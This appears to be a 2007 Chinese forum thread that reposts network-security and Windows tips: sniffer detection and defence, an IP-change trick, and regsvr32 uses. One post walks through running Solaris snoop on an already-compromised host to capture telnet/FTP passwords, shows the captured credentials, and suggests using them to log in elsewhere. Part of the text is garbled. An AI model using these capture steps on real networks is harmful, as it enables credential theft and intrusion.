这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。\r\n    \r\n  如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。\r\n  \r\n  再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。\r\n  \r\n  接下来的程序是将数据输出到文件中去。\r\n  \r\n  函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。\r\n  \r\n第三节 怎样在一个网络上发现一个sniffer\r\n    \r\n  简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。\r\n    \r\n  只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。\r\n    \r\n  在Unix系统下使用下面的命令:\r\n      \r\n  ps -aux  或: ps -augx\r\n  \r\n  这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。\r\n  \r\n  在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。\r\n    \r\n  另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。\r\n    \r\n  还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。\r\n  \r\n怎样防止被sniffer\r\n    \r\n  要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。 \r\n    \r\n  你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。\r\n  \r\n加密\r\n    \r\n  我们介绍以下SSH,它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。\r\n    \r\n  SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。\r\n    \r\n  如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。\r\n    \r\n  SSH和F-SSH都有商业或自由软件版本存在。NT are available. \r\n  \r\n还有其他的方法吗?\r\n    \r\n  另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。\r\n    \r\n  玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。\r\n    \r\n  下面是一些规则:\r\n     \r\n  一个网络段必须有足够的理由才苄湃瘟硪煌?缍巍M?缍斡Ω每悸悄愕氖?葜?涞男湃喂叵瞪侠瓷杓疲??皇怯布?枰??\r\n    \r\n  这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。\r\n    \r\n  注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。\r\n    \r\n  所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。\r\n  \r\n  如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。 \r\n  \r\n  Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。

论坛徽章:
0
18 [报告]
发表于 2007-08-16 17:14 |只看该作者

介绍sniffer攻击实例

Sniffer攻击实例\r\n   下面我们来看一个使用Sniffer进行被动攻击的实际例子。假设我们已经通过某种方法成功的攻人了 Solaris 主机 202.11.22.33(本文隐藏了实际 IP地址,下同)并且获得这台主机上的最高root权限。那么,现在我们就可以在这台主机上使用Sniffer来嗅探此网段上传输的密码。\r\n  1.Snoop简介\r\n   在Solaris系统中有一个默认安装的Sniffer软件叫做Snoop,所以没有必要重新安装其他的Sniffer了,可以直接使用Snoop来进行嗅探。下面简要介绍一下Snoop的使用方法。\r\n   Snoop 是一个命令行的软件,它的使用方法为:Snoop[选项][过滤条]\r\n   其中选项包括:\r\n  [-a]# 在 audio上监听\r\n  [-d device]# 设置的监听设备\r\n  [-s snaplen]# 将包截短\r\n  [-c count]#设置捕获包的数量\r\n  [-P]#关闭混杂模式\r\n  [-D]# 报告掉包\r\n  [-S]#报告包大小\r\n  [-i file]#从文件读人记录\r\n  [-o file]#把捕获情况存人文件\r\n  [-n flle]#从文件读人域名表\r\n  [-N]# 创建域名表\r\n  [-t r|a|d]#设置时间,可以为相对或绝对时间\r\n  [-v]#详细的包信息显示\r\n  [-V]#显示所有包信息\r\n  [-p first[,last] ]#显示指定的包\r\n  [-x offset[,length] ]# 显示 16进制数据\r\n  [-C]# 显示包过滤码\r\n   其中最常用的选项是-o和-c,通过一o选项可以把捕获情况输出到一个文件中,否则会显示在屏幕上。通过-c可以设置要捕获包的数量,否则就会无限制地捕获传输的包。\r\n   Snoop的重点在于设置过滤条件,所谓过滤条件就是我们要捕获什么样的包,因为以太网上传输的数据量一般是相当大的,所以不能捕获所有传输的包,否则会无法找到我们要的信息,于是我们就设置一个过滤条件,只捕获我们要的包,例如含有密码的包。\r\n   过滤条件主要包括from、to、net和 port。其中from是指从特定主机发送过来的包,to是指发送到特定主机的包,net是来自或发往特定网络的包,port是指来自或发往特定端口的包。这些过滤条件可以通过and(且关系)、or(或关系)和not(非关系)来进行组合。例如,下面Snoop命令捕获所有来自192.168.3.12地址的DNS和NFS包:\r\n  \r\n   snoop from 192.168.3.12 port domain or rpc nfs\r\n  \r\n  2.SnooP攻击实例\r\n   假设我们已经通过某种方法成功的攻人了Solaris主机 202.11.22.33(本文隐藏了实际IP地址,下同)并且获得这台主机上的最高root权限。那么现在我们就可以在这台主机上使用Snoop来嗅探此同段上传输的密码。\r\n   首先我们使用find命令查找一下此主机上的Snoop安装在哪里:\r\n  #find/-name snoop -print\r\n  /usr/sbin/snoop\r\n   因为我们的目的是捕获网络上传输的密码,所以我们要设置Snoop的过滤选项来捕获网络上所有的 telnet和 ftp包,使用下面的命令:\r\n  #nohup /usr/sbin/snoop -o slog -c 10000 port \r\n  telnet or port ftp&\r\n   我们使用nohup和&来把Snoop挂在后台运行,这样,当我们从终端退出的时候,Snoop仍然可以在后台运行。并且我们使用-o把嗅探结果保存在文件slog里,使用-c选项来设置一共捕获10000个包,以免捕获数据量太大而占据硬盘空间。port telnet or ftp就是过滤选项,它设置只捕获Telnet和FTP包,因为这两种协议都使用密码验证而且密码不加密。\r\n   然后我们就可以退出登录,第二天再次登录上这台主机,可以看到当前目录下有一个slog文件,这就是嗅探结果。但是要注意这个文件不是文本文件,不能使用cat命令直接查看,必须用Snoop的-i选项来查看,使用如下命令:\r\n  #/usr/sbin/snoop -i slog |more\r\n   这里,我们使用more来一点一点查看,发现 输出中有以下片段:\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C POrt=1924\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  220 202.11.22.68\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n   USER bode\\r\\n\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  331 Password require\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n  PASS zhangjm\\r\\n\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924\r\n  230 user bode logged \r\n  gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924\r\n   通过上面的记录我们可以看到,来自gi-12-107.bta.net.cn的用户使用 FTP登录上了202.11.22.68主机,它使用的用户名为bode,密码为zhangjm。于是我们就可以使用这个用户名和密码来登录上202.11.22.68了。

论坛徽章:
0
19 [报告]
发表于 2007-08-16 17:15 |只看该作者

教你无须重启的更改IP

对于网管的我。最头疼的是在系统更新设置后用Ghost进行硬盘对拷后的更改IP。但是Windows 98在更改TCP/IP、DNS、网关等参数后,系统便会要求你重新启动来使新的设置生效。但是有时候发现忘记了设置,或者更改IP时发生冲突!郁闷!改了又重启,不仅耽误时间而且颇为之头疼。何况还有300多台计算机等着我去设置呢!怎么办呢?能不能不重启而更改生效呢?\r\n  \r\n后来经过我一个同事的提醒,他说:“把它设为禁用后再恢复使用,这样你的设置就可以生效了。”\r\n  \r\n于是我试了试,屡试屡成,使我的工作效率大大的提高了。\r\n  \r\n下面我来介绍它的过程:\r\n  \r\n首先根据要求把IP地址、DNS、网关等设置更改,完成后点击“确认”,当你点击后会弹出一个对话框询问你是否要求重启计算机,点击“否”,选择不重启。然后在“我的电脑”上面右击鼠标键,单击“属性”打开“系统属性”的窗口,在“设备管理器”中找到“网络适配器”即网卡,右击选择它的“属性”,将属性窗口下面的“在此硬件配置文件中禁用(D)”的复选框中将它选定。最后,点击“确定”按钮,等几秒钟后,系统会将网卡功能禁用,在禁用完毕后,关闭属性等窗口。再就是重新按照上面的步骤启用网卡设备。这样网卡的IP就刷新成最新的IP了,而且不用重新启动。\r\n  \r\n后来我想了想,IP在重新设置以后,系统把当前的最新配置保存了下来,只是当前没有生效而已,而Windows则在我们启用设备后将当前的保存记录加载下来,这样达到了更改IP不重启的目的

论坛徽章:
0
20 [报告]
发表于 2007-08-16 17:16 |只看该作者

介绍一下关于Regsvr32命令

Windows系统提供的Regsvr32命令也许很多朋友都见过可能还不知道怎么用,它可是一个很实用的功能。\r\n\r\n一、能够帮你轻松修复IE浏览器\r\n很多经常上网的朋友都有过这样的遭遇:IE不能打开新的窗口,用鼠标点击超链接也没有任何反应。这时重装IE一般能解决问题。其实不必这么麻烦,使用Regsvr32命令就可以轻松搞定。\r\n在“开始→运行”中键入“regsvr32 actxprxy.dll”命令,点击“确定”按钮,这时会弹出一个信息对话框“DllRegisterServerin actxprxy.dll succeeded”,点击“确定”;然后再在“开始→运行”中键入“regsvr32 shdocvw.dll”命令,单击“确定”即可。重新启动后IE已经被轻松修复了。\r\n\r\n二、解决Windows无法在线升级的问题\r\n\r\nWindows的漏洞很多,每隔一段时间就需要使用“Windows Update”升级程序进行在线升级,不过“WindowsUpdate”经常出现无法使用的情况,这时,我们可以使用Regsvr32来解决这个问题。\r\n在“开始→运行”中键入“regsvr32 wupdinfo.dll”,点击“确定”按钮,这样在系统中就重新注册了“WindowsUpdate”组件,重新启动后问题已经解决。\r\n\r\n三、防范网络脚本病毒有新招\r\n网络脚本病毒嵌在网页中,上网时在不知不觉中机器就会感染上这种病毒。笔者认为单纯使用杀毒软件并不能有效地防范这些脚本病毒,必须从病毒传播的机理入手。网络脚本病毒的复制、传播都离不开FSO对象(FileSystem Object,文件系统对象),因此禁用FSO对象就能有效地控制脚本病毒的传播。操作方法很简单:\r\n在“开始→运行”中键入“regsvr32 /u scrrun.dll”就可以禁用FSO对象;如果需要使用FSO对象,键入“regsvr32scrrun.dll”命令即可。\r\n\r\n四、卸载Win XP自带的“鸡肋”功能\r\nWin XP以功能强大而著称,但有些功能却常常令人有“鸡肋”之感,比如Win XP自带的ZIP功能和图片预览功能,不仅占用了系统资源,功能也远不如第三方软件强大。其实用Regsvr32命令可以很容易地卸载这些功能。\r\n在“开始→运行”中键入“regsvr32 /u zipfldr.dll”,单击“确定”按钮,弹出卸载成功信息框后就完成了ZIP功能的卸载;要恢复ZIP功能,键入“regsvr32zipfldr.dll”即可。同样,卸载图片预览功能也很简单,在“开始→运行”中键入“regsvr32 /u thumbvw.dll”即可;如果要恢复该功能,只须键入“regsvr32thumbvw.dll”。\r\n\r\n五、让WMP播放器支持RM格式\r\n很多朋友喜欢用Windows Media Player(以下简称WMP)播放器,但是它不支持RM格式,难道非得安装其他播放软件吗?笔者有办法。\r\n以Win XP为例,首先下载一个RM格式插件,解压缩后得到两个文件夹:Release(用于Windows9x)和Release Unicode (用于Windows 2000/XP);将Release Unicode文件夹下的RealMediaSplitter.ax文件拷贝到“系统盘符\\WINDOWS\\System32\\”目录下;在“开始→运行”中键入“regsvr32RealMediaSplitter.ax”,点击“确定”即可。接着下载解码器,如Real Alternative,安装后就能用WMP播放RM格式的影音文件了。\r\nRM格式插件下载地址http://www.fyrose.com/realmediasplitter_20030729.zip \r\nRM格式解码器下载地址http://www.fyrose.com/realalt111.exe\r\n你知道吗?Regsvr32命令\r\nRegsvr 32命令是Windows中控件文件(如扩展名为DLL、OCX、CPL的文件)的注册和反注册工具。\r\n命令格式\r\nRegsvr32 [/n] [/i[:cmdline]] dllname\r\n/u 卸载安装的控件,卸载服务器注册;\r\n/s 注册成功后不显示操作成功信息框;\r\n/i 调用DllInstall函数并把可选参数[cmdline]传给它,当使用/u时用来卸载DLL;\r\n/n 不调用DllRegisterServer,该参数必须和/i一起使用。\r\n\r\n简单实例\r\n要手工注册“E:\\CPCW.dll”,只需在“开始→运行”中键入“Regsvr32 E:\\CPCW.dll”,单击“确定”按钮后会弹出提示信息“DllRegisterServerin CPCW.dll succeeded”,说明组件注册成功;如果要卸载此组件,在“开始→运行”中键入“Regsvr32 /u E:\\CPCW.dll”即可。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP